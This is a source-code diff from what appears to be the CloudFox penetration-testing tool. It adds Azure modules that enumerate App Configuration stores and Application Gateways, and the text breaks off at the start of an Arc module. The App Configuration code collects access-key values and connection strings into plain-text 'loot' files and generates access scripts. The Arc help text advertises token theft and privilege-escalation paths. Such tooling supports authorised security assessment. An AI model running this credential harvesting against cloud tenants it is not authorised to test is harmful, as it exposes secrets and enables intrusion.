// ------------------------------
|
||||
// Module struct (AWS pattern)
|
||||
// ------------------------------
|
||||
type AppConfigurationModule struct {
|
||||
azinternal.BaseAzureModule // Embed common fields
|
||||
|
||||
// Module-specific fields
|
||||
Subscriptions []string
|
||||
AppConfigRows [][]string
|
||||
LootMap map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output struct
|
||||
// ------------------------------
|
||||
type AppConfigurationOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AppConfigurationOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AppConfigurationOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command entry point (thin wrapper)
|
||||
// ------------------------------
|
||||
func ListAppConfiguration(cmd *cobra.Command, args []string) {
|
||||
// -------------------- Use InitializeCommandContext helper --------------------
|
||||
cmdCtx, err := azinternal.InitializeCommandContext(cmd, globals.AZ_APP_CONFIGURATION_MODULE_NAME)
|
||||
if err != nil {
|
||||
return // error already logged by helper
|
||||
}
|
||||
|
||||
// -------------------- Initialize module --------------------
|
||||
module := &AppConfigurationModule{
|
||||
BaseAzureModule: azinternal.NewBaseAzureModule(cmdCtx, 0),
|
||||
Subscriptions: cmdCtx.Subscriptions,
|
||||
AppConfigRows: [][]string{},
|
||||
LootMap: map[string]*internal.LootFile{
|
||||
"appconfig-commands": {Name: "appconfig-commands", Contents: ""},
|
||||
"appconfig-access-keys": {Name: "appconfig-access-keys", Contents: ""},
|
||||
"appconfig-access-scripts": {Name: "appconfig-access-scripts", Contents: ""},
|
||||
},
|
||||
}
|
||||
|
||||
// -------------------- Execute module --------------------
|
||||
module.PrintAppConfiguration(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Main module method (AWS-style)
|
||||
// ------------------------------
|
||||
func (m *AppConfigurationModule) PrintAppConfiguration(ctx context.Context, logger internal.Logger) {
|
||||
// Multi-tenant processing
|
||||
if m.IsMultiTenant {
|
||||
logger.InfoM(fmt.Sprintf("Multi-tenant mode: Processing %d tenants", len(m.Tenants)), globals.AZ_APP_CONFIGURATION_MODULE_NAME)
|
||||
|
||||
// Process each tenant independently
|
||||
for _, tenantCtx := range m.Tenants {
|
||||
// Temporarily set module tenant context for row creation
|
||||
savedTenantID := m.TenantID
|
||||
savedTenantName := m.TenantName
|
||||
savedTenantInfo := m.TenantInfo
|
||||
|
||||
m.TenantID = tenantCtx.TenantID
|
||||
m.TenantName = tenantCtx.TenantName
|
||||
m.TenantInfo = tenantCtx.TenantInfo
|
||||
|
||||
if m.Verbosity >= globals.AZ_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Processing tenant: %s (%s)", m.TenantName, m.TenantID), globals.AZ_APP_CONFIGURATION_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Process subscriptions for this tenant
|
||||
m.RunSubscriptionEnumeration(ctx, logger, tenantCtx.Subscriptions, globals.AZ_APP_CONFIGURATION_MODULE_NAME, m.processSubscription)
|
||||
|
||||
// Restore tenant context
|
||||
m.TenantID = savedTenantID
|
||||
m.TenantName = savedTenantName
|
||||
m.TenantInfo = savedTenantInfo
|
||||
}
|
||||
} else {
|
||||
// Single tenant processing (existing logic)
|
||||
logger.InfoM(fmt.Sprintf("Enumerating app configuration stores for %d subscription(s)", len(m.Subscriptions)), globals.AZ_APP_CONFIGURATION_MODULE_NAME)
|
||||
m.RunSubscriptionEnumeration(ctx, logger, m.Subscriptions, globals.AZ_APP_CONFIGURATION_MODULE_NAME, m.processSubscription)
|
||||
}
|
||||
|
||||
// Generate and write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single subscription
|
||||
// ------------------------------
|
||||
func (m *AppConfigurationModule) processSubscription(ctx context.Context, subID string, logger internal.Logger) {
|
||||
// Get subscription name
|
||||
subName := azinternal.GetSubscriptionNameFromID(ctx, m.Session, subID)
|
||||
|
||||
// Get resource groups (CACHED)
|
||||
resourceGroups := m.ResolveResourceGroups(subID)
|
||||
|
||||
// Get all App Configuration stores
|
||||
appConfigStores, err := azinternal.GetAppConfigStores(m.Session, subID, resourceGroups)
|
||||
if err != nil {
|
||||
if globals.AZ_VERBOSITY >= globals.AZ_VERBOSE_ERRORS {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to get App Configuration stores for subscription %s: %v", subID, err), globals.AZ_APP_CONFIGURATION_MODULE_NAME)
|
||||
}
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
// Process each App Configuration store concurrently
|
||||
var wg sync.WaitGroup
|
||||
semaphore := make(chan struct{}, 5) // Limit to 5 concurrent stores
|
||||
|
||||
for _, store := range appConfigStores {
|
||||
wg.Add(1)
|
||||
go m.processAppConfigStore(ctx, subID, subName, store, &wg, semaphore, logger)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single App Configuration store
|
||||
// ------------------------------
|
||||
func (m *AppConfigurationModule) processAppConfigStore(ctx context.Context, subID, subName string, store azinternal.AppConfigStore, wg *sync.WaitGroup, semaphore chan struct{}, logger internal.Logger) {
|
||||
defer wg.Done()
|
||||
|
||||
// Acquire semaphore
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
// Get access keys for this store
|
||||
accessKeys, _ := azinternal.GetAppConfigAccessKeys(m.Session, subID, store.ResourceGroup, store.Name)
|
||||
|
||||
// Count read-only vs read-write keys
|
||||
readOnlyCount := 0
|
||||
readWriteCount := 0
|
||||
for _, key := range accessKeys {
|
||||
if key.ReadOnly {
|
||||
readOnlyCount++
|
||||
} else {
|
||||
readWriteCount++
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe append - main store row
|
||||
m.mu.Lock()
|
||||
m.AppConfigRows = append(m.AppConfigRows, []string{
|
||||
m.TenantName,
|
||||
m.TenantID,
|
||||
subID,
|
||||
subName,
|
||||
store.ResourceGroup,
|
||||
store.Location,
|
||||
store.Name,
|
||||
store.SKUName,
|
||||
store.ProvisioningState,
|
||||
store.PublicNetworkAccess,
|
||||
store.Endpoint,
|
||||
fmt.Sprintf("%d RO / %d RW", readOnlyCount, readWriteCount),
|
||||
fmt.Sprintf("%d", len(accessKeys)),
|
||||
store.PrincipalID,
|
||||
store.UserAssignedIDs,
|
||||
})
|
||||
|
||||
// Add per-key rows
|
||||
for _, key := range accessKeys {
|
||||
keyType := "Read-Write"
|
||||
if key.ReadOnly {
|
||||
keyType = "Read-Only"
|
||||
}
|
||||
|
||||
m.AppConfigRows = append(m.AppConfigRows, []string{
|
||||
m.TenantName,
|
||||
m.TenantID,
|
||||
subID,
|
||||
subName,
|
||||
store.ResourceGroup,
|
||||
store.Location,
|
||||
store.Name,
|
||||
fmt.Sprintf("Key: %s", key.Name),
|
||||
keyType,
|
||||
"",
|
||||
key.ID,
|
||||
"",
|
||||
key.LastModified,
|
||||
"",
|
||||
"",
|
||||
})
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Generate loot
|
||||
m.generateLoot(subID, subName, store, accessKeys)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Generate loot files
|
||||
// ------------------------------
|
||||
func (m *AppConfigurationModule) generateLoot(subID, subName string, store azinternal.AppConfigStore, keys []azinternal.AppConfigAccessKey) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
// Commands loot
|
||||
if lf, ok := m.LootMap["appconfig-commands"]; ok {
|
||||
lf.Contents += fmt.Sprintf("## App Configuration Store: %s (Resource Group: %s)\n", store.Name, store.ResourceGroup)
|
||||
lf.Contents += fmt.Sprintf("az account set --subscription %s\n", subID)
|
||||
lf.Contents += fmt.Sprintf("# List App Configuration stores\n")
|
||||
lf.Contents += fmt.Sprintf("az appconfig list --resource-group %s -o table\n\n", store.ResourceGroup)
|
||||
lf.Contents += fmt.Sprintf("# Show App Configuration store details\n")
|
||||
lf.Contents += fmt.Sprintf("az appconfig show --name %s --resource-group %s\n\n", store.Name, store.ResourceGroup)
|
||||
lf.Contents += fmt.Sprintf("# List access keys\n")
|
||||
lf.Contents += fmt.Sprintf("az appconfig credential list --name %s --resource-group %s -o table\n\n", store.Name, store.ResourceGroup)
|
||||
lf.Contents += fmt.Sprintf("# List configuration key-values (requires connection string)\n")
|
||||
lf.Contents += fmt.Sprintf("# Get connection string first, then:\n")
|
||||
lf.Contents += fmt.Sprintf("# az appconfig kv list --connection-string \"<CONNECTION_STRING>\" -o table\n\n")
|
||||
}
|
||||
|
||||
// Access keys loot
|
||||
if lf, ok := m.LootMap["appconfig-access-keys"]; ok && len(keys) > 0 {
|
||||
lf.Contents += fmt.Sprintf("\n## App Configuration Store: %s\n", store.Name)
|
||||
lf.Contents += fmt.Sprintf("# Resource Group: %s, Subscription: %s (%s)\n", store.ResourceGroup, subName, subID)
|
||||
lf.Contents += fmt.Sprintf("# Endpoint: %s\n\n", store.Endpoint)
|
||||
|
||||
for _, key := range keys {
|
||||
keyType := "Read-Write"
|
||||
if key.ReadOnly {
|
||||
keyType = "Read-Only"
|
||||
}
|
||||
|
||||
lf.Contents += fmt.Sprintf("### Access Key: %s (%s)\n", key.Name, keyType)
|
||||
lf.Contents += fmt.Sprintf("- **ID**: %s\n", key.ID)
|
||||
lf.Contents += fmt.Sprintf("- **Value**: %s\n", key.Value)
|
||||
lf.Contents += fmt.Sprintf("- **Connection String**: %s\n", key.ConnectionString)
|
||||
lf.Contents += fmt.Sprintf("- **Last Modified**: %s\n", key.LastModified)
|
||||
lf.Contents += "\n"
|
||||
}
|
||||
}
|
||||
|
||||
// Generate access scripts
|
||||
if lf, ok := m.LootMap["appconfig-access-scripts"]; ok && len(keys) > 0 {
|
||||
script := azinternal.GenerateAppConfigAccessScript(store, keys)
|
||||
lf.Contents += script
|
||||
lf.Contents += "---\n\n"
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Write output (AWS-style writeLoot pattern)
|
||||
// ------------------------------
|
||||
func (m *AppConfigurationModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if len(m.AppConfigRows) == 0 {
|
||||
logger.InfoM("No App Configuration stores found", globals.AZ_APP_CONFIGURATION_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Build headers
|
||||
headers := []string{
|
||||
"Tenant Name",
|
||||
"Tenant ID",
|
||||
"Subscription ID",
|
||||
"Subscription Name",
|
||||
"Resource Group",
|
||||
"Region",
|
||||
"Store Name",
|
||||
"SKU / Key Name",
|
||||
"Provisioning State / Key Type",
|
||||
"Public Network Access",
|
||||
"Endpoint / Key ID",
|
||||
"Key Counts (RO/RW)",
|
||||
"Total Keys / Last Modified",
|
||||
"System Assigned Identity ID",
|
||||
"User Assigned Identity ID",
|
||||
}
|
||||
|
||||
// Check if we should split output by tenant (multi-tenant takes precedence)
|
||||
if m.IsMultiTenant {
|
||||
if err := m.FilterAndWritePerTenantAuto(
|
||||
ctx, logger, m.Tenants, m.AppConfigRows, headers,
|
||||
"app-configuration", globals.AZ_APP_CONFIGURATION_MODULE_NAME,
|
||||
); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Otherwise, check if we should split output by subscription
|
||||
if azinternal.ShouldSplitBySubscription(m.Subscriptions, m.TenantFlagPresent) {
|
||||
if err := m.FilterAndWritePerSubscriptionAuto(
|
||||
ctx, logger, m.Subscriptions, m.AppConfigRows, headers,
|
||||
"app-configuration", globals.AZ_APP_CONFIGURATION_MODULE_NAME,
|
||||
); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Build loot array
|
||||
loot := []internal.LootFile{}
|
||||
for _, lf := range m.LootMap {
|
||||
if lf.Contents != "" {
|
||||
loot = append(loot, *lf)
|
||||
}
|
||||
}
|
||||
|
||||
// Create output
|
||||
output := AppConfigurationOutput{
|
||||
Table: []internal.TableFile{{
|
||||
Name: "app-configuration",
|
||||
Header: headers,
|
||||
Body: m.AppConfigRows,
|
||||
}},
|
||||
Loot: loot,
|
||||
}
|
||||
|
||||
// Determine output scope (single subscription vs tenant-wide consolidation)
|
||||
scopeType, scopeIDs, scopeNames := azinternal.DetermineScopeForOutput(m.Subscriptions, m.TenantID, m.TenantName, m.TenantFlagPresent)
|
||||
scopeNames = azinternal.GetSubscriptionNamesForOutput(ctx, m.Session, scopeType, scopeIDs)
|
||||
|
||||
// Write output using HandleOutputSmart (automatic streaming for large datasets)
|
||||
if err := internal.HandleOutputSmart(
|
||||
"Azure",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
scopeType,
|
||||
scopeIDs,
|
||||
scopeNames,
|
||||
m.UserUPN,
|
||||
output,
|
||||
); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.AZ_APP_CONFIGURATION_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d App Configuration resource(s) across %d subscription(s)", len(m.AppConfigRows), len(m.Subscriptions)), globals.AZ_APP_CONFIGURATION_MODULE_NAME)
|
||||
}
|
||||
@@ -0,0 +1,350 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
azinternal "github.com/BishopFox/cloudfox/internal/azure"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command
|
||||
// ------------------------------
|
||||
var AzAppGatewayCommand = &cobra.Command{
|
||||
Use: "app-gateway",
|
||||
Aliases: []string{"appgw"},
|
||||
Short: "Enumerate Azure Application Gateways",
|
||||
Long: `
|
||||
Enumerate Azure Application Gateways for a specific tenant:
|
||||
./cloudfox az app-gateway --tenant TENANT_ID
|
||||
|
||||
Enumerate Azure Application Gateways for a specific subscription:
|
||||
./cloudfox az app-gateway --subscription SUBSCRIPTION_ID[,SUBSCRIPTION_ID2,...]`,
|
||||
Run: ListAppGateway,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module struct (AWS pattern)
|
||||
// ------------------------------
|
||||
type AppGatewayModule struct {
|
||||
azinternal.BaseAzureModule // Embed common fields (15 fields)
|
||||
|
||||
// Module-specific fields
|
||||
Subscriptions []string
|
||||
AppGatewayRows [][]string
|
||||
LootMap map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output struct
|
||||
// ------------------------------
|
||||
type AppGatewayOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AppGatewayOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AppGatewayOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command entry point (thin wrapper)
|
||||
// ------------------------------
|
||||
func ListAppGateway(cmd *cobra.Command, args []string) {
|
||||
// -------------------- Use InitializeCommandContext helper --------------------
|
||||
cmdCtx, err := azinternal.InitializeCommandContext(cmd, globals.AZ_APPGATEWAY_MODULE_NAME)
|
||||
if err != nil {
|
||||
return // error already logged by helper
|
||||
}
|
||||
|
||||
// -------------------- Initialize module --------------------
|
||||
module := &AppGatewayModule{
|
||||
BaseAzureModule: azinternal.NewBaseAzureModule(cmdCtx, 0),
|
||||
Subscriptions: cmdCtx.Subscriptions,
|
||||
AppGatewayRows: [][]string{},
|
||||
LootMap: map[string]*internal.LootFile{
|
||||
"app-gateway-commands": {Name: "app-gateway-commands", Contents: ""},
|
||||
},
|
||||
}
|
||||
|
||||
// -------------------- Execute module --------------------
|
||||
module.PrintAppGateways(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Main module method (AWS-style)
|
||||
// ------------------------------
|
||||
func (m *AppGatewayModule) PrintAppGateways(ctx context.Context, logger internal.Logger) {
|
||||
// Multi-tenant support: iterate over tenants if enabled
|
||||
if m.IsMultiTenant {
|
||||
for _, tenantCtx := range m.Tenants {
|
||||
// Save current tenant context
|
||||
savedTenantID := m.TenantID
|
||||
savedTenantName := m.TenantName
|
||||
savedTenantInfo := m.TenantInfo
|
||||
|
||||
// Switch to current tenant
|
||||
m.TenantID = tenantCtx.TenantID
|
||||
m.TenantName = tenantCtx.TenantName
|
||||
m.TenantInfo = tenantCtx.TenantInfo
|
||||
|
||||
// Process this tenant's subscriptions
|
||||
m.RunSubscriptionEnumeration(ctx, logger, tenantCtx.Subscriptions, globals.AZ_APPGATEWAY_MODULE_NAME, m.processSubscription)
|
||||
|
||||
// Restore tenant context
|
||||
m.TenantID = savedTenantID
|
||||
m.TenantName = savedTenantName
|
||||
m.TenantInfo = savedTenantInfo
|
||||
}
|
||||
} else {
|
||||
// Single-tenant mode
|
||||
m.RunSubscriptionEnumeration(ctx, logger, m.Subscriptions, globals.AZ_APPGATEWAY_MODULE_NAME, m.processSubscription)
|
||||
}
|
||||
|
||||
// Generate and write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single subscription
|
||||
// ------------------------------
|
||||
func (m *AppGatewayModule) processSubscription(ctx context.Context, subID string, logger internal.Logger) {
|
||||
// Get subscription name
|
||||
subName := azinternal.GetSubscriptionNameFromID(ctx, m.Session, subID)
|
||||
|
||||
// Get resource groups (CACHED)
|
||||
resourceGroups := m.ResolveResourceGroups(subID)
|
||||
|
||||
// Process resource groups concurrently for better performance
|
||||
var rgWg sync.WaitGroup
|
||||
rgSemaphore := make(chan struct{}, 10) // Limit to 10 concurrent RGs
|
||||
|
||||
for _, rgName := range resourceGroups {
|
||||
rgWg.Add(1)
|
||||
go m.processResourceGroup(ctx, subID, subName, rgName, &rgWg, rgSemaphore)
|
||||
}
|
||||
|
||||
rgWg.Wait()
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single resource group (extracted for RG-level concurrency)
|
||||
// ------------------------------
|
||||
func (m *AppGatewayModule) processResourceGroup(ctx context.Context, subID, subName, rgName string, wg *sync.WaitGroup, semaphore chan struct{}) {
|
||||
defer wg.Done()
|
||||
|
||||
// Acquire semaphore
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
appGateways := azinternal.GetAppGatewaysPerResourceGroup(m.Session, subID, rgName)
|
||||
for _, agw := range appGateways {
|
||||
if agw == nil || agw.Name == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
name := azinternal.GetAppGatewayName(agw)
|
||||
region := azinternal.GetAppGatewayLocation(agw)
|
||||
|
||||
// Extract managed identity information
|
||||
var systemAssignedIDs []string
|
||||
var userAssignedIDs []string
|
||||
|
||||
if agw.Identity != nil {
|
||||
// System-assigned identity
|
||||
if agw.Identity.PrincipalID != nil {
|
||||
principalID := *agw.Identity.PrincipalID
|
||||
systemAssignedIDs = append(systemAssignedIDs, principalID)
|
||||
}
|
||||
|
||||
// User-assigned identities
|
||||
if agw.Identity.UserAssignedIdentities != nil {
|
||||
for uaID := range agw.Identity.UserAssignedIdentities {
|
||||
userAssignedIDs = append(userAssignedIDs, uaID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Format identity fields
|
||||
systemIDsStr := "N/A"
|
||||
if len(systemAssignedIDs) > 0 {
|
||||
systemIDsStr = strings.Join(systemAssignedIDs, ", ")
|
||||
}
|
||||
|
||||
userIDsStr := "N/A"
|
||||
if len(userAssignedIDs) > 0 {
|
||||
userIDsStr = strings.Join(userAssignedIDs, ", ")
|
||||
}
|
||||
|
||||
// Extract Min TLS Version from SSL Policy
|
||||
minTlsVersion := "N/A"
|
||||
if agw.Properties != nil && agw.Properties.SSLPolicy != nil && agw.Properties.SSLPolicy.MinProtocolVersion != nil {
|
||||
minTlsVersion = string(*agw.Properties.SSLPolicy.MinProtocolVersion)
|
||||
}
|
||||
|
||||
// Process frontend IPs
|
||||
for _, fe := range azinternal.GetAppGatewayFrontendIPs(m.Session, subID, agw) {
|
||||
protocol := "HTTP"
|
||||
if agw.Properties != nil && agw.Properties.SSLCertificates != nil && len(agw.Properties.SSLCertificates) > 0 {
|
||||
protocol = "HTTPS"
|
||||
if agw.Properties.FrontendPorts != nil && len(agw.Properties.FrontendPorts) > 0 {
|
||||
protocol = "HTTP & HTTPS"
|
||||
}
|
||||
}
|
||||
|
||||
exposure := "Private"
|
||||
if fe.PublicIP != "" {
|
||||
exposure = "Public"
|
||||
}
|
||||
|
||||
// Collect custom headers
|
||||
customHeaders := []string{}
|
||||
for _, rule := range agw.Properties.RequestRoutingRules {
|
||||
if rule.Properties != nil && rule.Properties.RewriteRuleSet != nil && rule.Properties.RewriteRuleSet.ID != nil {
|
||||
rrSet, err := azinternal.GetRewriteRuleSetByID(m.Session, subID, *rule.Properties.RewriteRuleSet.ID)
|
||||
if err == nil {
|
||||
for _, rhc := range rrSet.RequestHeaderConfigurations {
|
||||
customHeaders = append(customHeaders, rhc.HeaderName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
headerString := "N/A"
|
||||
if len(customHeaders) > 0 {
|
||||
headerString = strings.Join(customHeaders, ", ")
|
||||
}
|
||||
|
||||
secrets := "None"
|
||||
certExpiration := "N/A"
|
||||
if agw.Properties != nil && agw.Properties.SSLCertificates != nil && len(agw.Properties.SSLCertificates) > 0 {
|
||||
secrets = "SSL/TLS cert(s)"
|
||||
certExpiration = "Requires Cert Parsing"
|
||||
}
|
||||
|
||||
// Thread-safe append
|
||||
m.mu.Lock()
|
||||
m.AppGatewayRows = append(m.AppGatewayRows, []string{
|
||||
m.TenantName,
|
||||
m.TenantID,
|
||||
subID,
|
||||
subName,
|
||||
rgName,
|
||||
region,
|
||||
name,
|
||||
protocol,
|
||||
fe.DNSName,
|
||||
fe.PrivateIP,
|
||||
fe.PublicIP,
|
||||
headerString,
|
||||
secrets,
|
||||
exposure,
|
||||
minTlsVersion,
|
||||
certExpiration,
|
||||
systemIDsStr,
|
||||
userIDsStr,
|
||||
})
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Write output (AWS-style writeLoot pattern)
|
||||
// ------------------------------
|
||||
func (m *AppGatewayModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if len(m.AppGatewayRows) == 0 {
|
||||
logger.InfoM("No Application Gateways found", globals.AZ_APPGATEWAY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Build headers
|
||||
headers := []string{
|
||||
"Tenant Name",
|
||||
"Tenant ID",
|
||||
"Subscription ID",
|
||||
"Subscription Name",
|
||||
"Resource Group",
|
||||
"Region",
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Hostname/DNS",
|
||||
"Private IP",
|
||||
"Public IP",
|
||||
"Custom Headers",
|
||||
"Secrets",
|
||||
"Exposure",
|
||||
"Min TLS Version",
|
||||
"Certificate Expiration",
|
||||
"System Assigned Identity ID",
|
||||
"User Assigned Identity ID",
|
||||
}
|
||||
|
||||
// Check if we should split output by tenant (takes precedence over subscription split)
|
||||
if azinternal.ShouldSplitByTenant(m.IsMultiTenant, m.Tenants) {
|
||||
if err := m.FilterAndWritePerTenantAuto(
|
||||
ctx, logger, m.Tenants, m.AppGatewayRows, headers,
|
||||
"app-gateway", globals.AZ_APPGATEWAY_MODULE_NAME,
|
||||
); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Check if we should split output by subscription
|
||||
if azinternal.ShouldSplitBySubscription(m.Subscriptions, m.TenantFlagPresent) {
|
||||
if err := m.FilterAndWritePerSubscriptionAuto(
|
||||
ctx, logger, m.Subscriptions, m.AppGatewayRows, headers,
|
||||
"app-gateway", globals.AZ_APPGATEWAY_MODULE_NAME,
|
||||
); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Build loot array
|
||||
loot := []internal.LootFile{}
|
||||
for _, lf := range m.LootMap {
|
||||
if lf.Contents != "" {
|
||||
loot = append(loot, *lf)
|
||||
}
|
||||
}
|
||||
|
||||
// Create output
|
||||
output := AppGatewayOutput{
|
||||
Table: []internal.TableFile{{
|
||||
Name: "app-gateway",
|
||||
Header: headers,
|
||||
Body: m.AppGatewayRows,
|
||||
}},
|
||||
Loot: loot,
|
||||
}
|
||||
|
||||
// Determine output scope (single subscription vs tenant-wide consolidation)
|
||||
scopeType, scopeIDs, scopeNames := azinternal.DetermineScopeForOutput(m.Subscriptions, m.TenantID, m.TenantName, m.TenantFlagPresent)
|
||||
scopeNames = azinternal.GetSubscriptionNamesForOutput(ctx, m.Session, scopeType, scopeIDs)
|
||||
|
||||
// Write output using HandleOutputSmart (automatic streaming for large datasets)
|
||||
if err := internal.HandleOutputSmart(
|
||||
"Azure",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
scopeType,
|
||||
scopeIDs,
|
||||
scopeNames,
|
||||
m.UserUPN,
|
||||
output,
|
||||
); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.AZ_APPGATEWAY_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d Application Gateway(s) across %d subscription(s)", len(m.AppGatewayRows), len(m.Subscriptions)), globals.AZ_APPGATEWAY_MODULE_NAME)
|
||||
}
|
||||
@@ -0,0 +1,588 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
azinternal "github.com/BishopFox/cloudfox/internal/azure"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command
|
||||
// ------------------------------
|
||||
var AzArcCommand = &cobra.Command{
|
||||
Use: "arc",
|
||||
Aliases: []string{"hybrid"},
|
||||
Short: "Enumerate Azure Arc-enabled resources with comprehensive hybrid security analysis",
|
||||
Long: `
|
||||
Enumerate Azure Arc-enabled resources for a specific tenant:
|
||||
./cloudfox az arc --tenant TENANT_ID
|
||||
|
||||
Enumerate Azure Arc-enabled resources for a specific subscription:
|
||||
./cloudfox az arc --subscription SUBSCRIPTION_ID
|
||||
|
||||
ENHANCED FEATURES:
|
||||
- Arc-enabled servers with managed identity analysis
|
||||
- Arc-enabled Kubernetes clusters
|
||||
- Arc data services (SQL Server, PostgreSQL)
|
||||
- Connected machine extensions and agents
|
||||
- Hybrid connectivity security assessment
|
||||
- Certificate and credential analysis
|
||||
- Extension-based privilege escalation paths
|
||||
|
||||
SECURITY ANALYSIS:
|
||||
- Managed identity token theft opportunities
|
||||
- Extension privilege escalation vectors
|
||||
- Unmanaged/orphaned Arc resources
|
||||
- Agent version vulnerabilities
|
||||
- Hybrid network exposure`,
|
||||
Run: ListArc,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module struct (AWS pattern)
|
||||
// ------------------------------
|
||||
type ArcModule struct {
|
||||
azinternal.BaseAzureModule // Embed common fields
|
||||
|
||||
// Module-specific fields
|
||||
Subscriptions []string
|
||||
ArcRows [][]string
|
||||
LootMap map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output struct
|
||||
// ------------------------------
|
||||
type ArcOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o ArcOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o ArcOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command entry point (thin wrapper)
|
||||
// ------------------------------
|
||||
func ListArc(cmd *cobra.Command, args []string) {
|
||||
// -------------------- Use InitializeCommandContext helper --------------------
|
||||
cmdCtx, err := azinternal.InitializeCommandContext(cmd, globals.AZ_ARC_MODULE_NAME)
|
||||
if err != nil {
|
||||
return // error already logged by helper
|
||||
}
|
||||
|
||||
// -------------------- Initialize module --------------------
|
||||
module := &ArcModule{
|
||||
BaseAzureModule: azinternal.NewBaseAzureModule(cmdCtx, 0),
|
||||
Subscriptions: cmdCtx.Subscriptions,
|
||||
ArcRows: [][]string{},
|
||||
LootMap: map[string]*internal.LootFile{
|
||||
"arc-commands": {Name: "arc-commands", Contents: ""},
|
||||
"arc-cert-extraction": {Name: "arc-cert-extraction", Contents: ""},
|
||||
"arc-kubernetes": {Name: "arc-kubernetes", Contents: "# Arc-enabled Kubernetes Clusters\n\n"},
|
||||
"arc-data-services": {Name: "arc-data-services", Contents: "# Arc-enabled Data Services\n\n"},
|
||||
"arc-extensions": {Name: "arc-extensions", Contents: "# Connected Machine Extensions\n\n"},
|
||||
"arc-security-analysis": {Name: "arc-security-analysis", Contents: "# Arc Security Analysis\n\n"},
|
||||
"arc-privilege-escalation": {Name: "arc-privilege-escalation", Contents: "# Arc Extension Privilege Escalation Paths\n\n"},
|
||||
"arc-hybrid-connectivity": {Name: "arc-hybrid-connectivity", Contents: "# Hybrid Connectivity Analysis\n\n"},
|
||||
},
|
||||
}
|
||||
|
||||
// -------------------- Execute module --------------------
|
||||
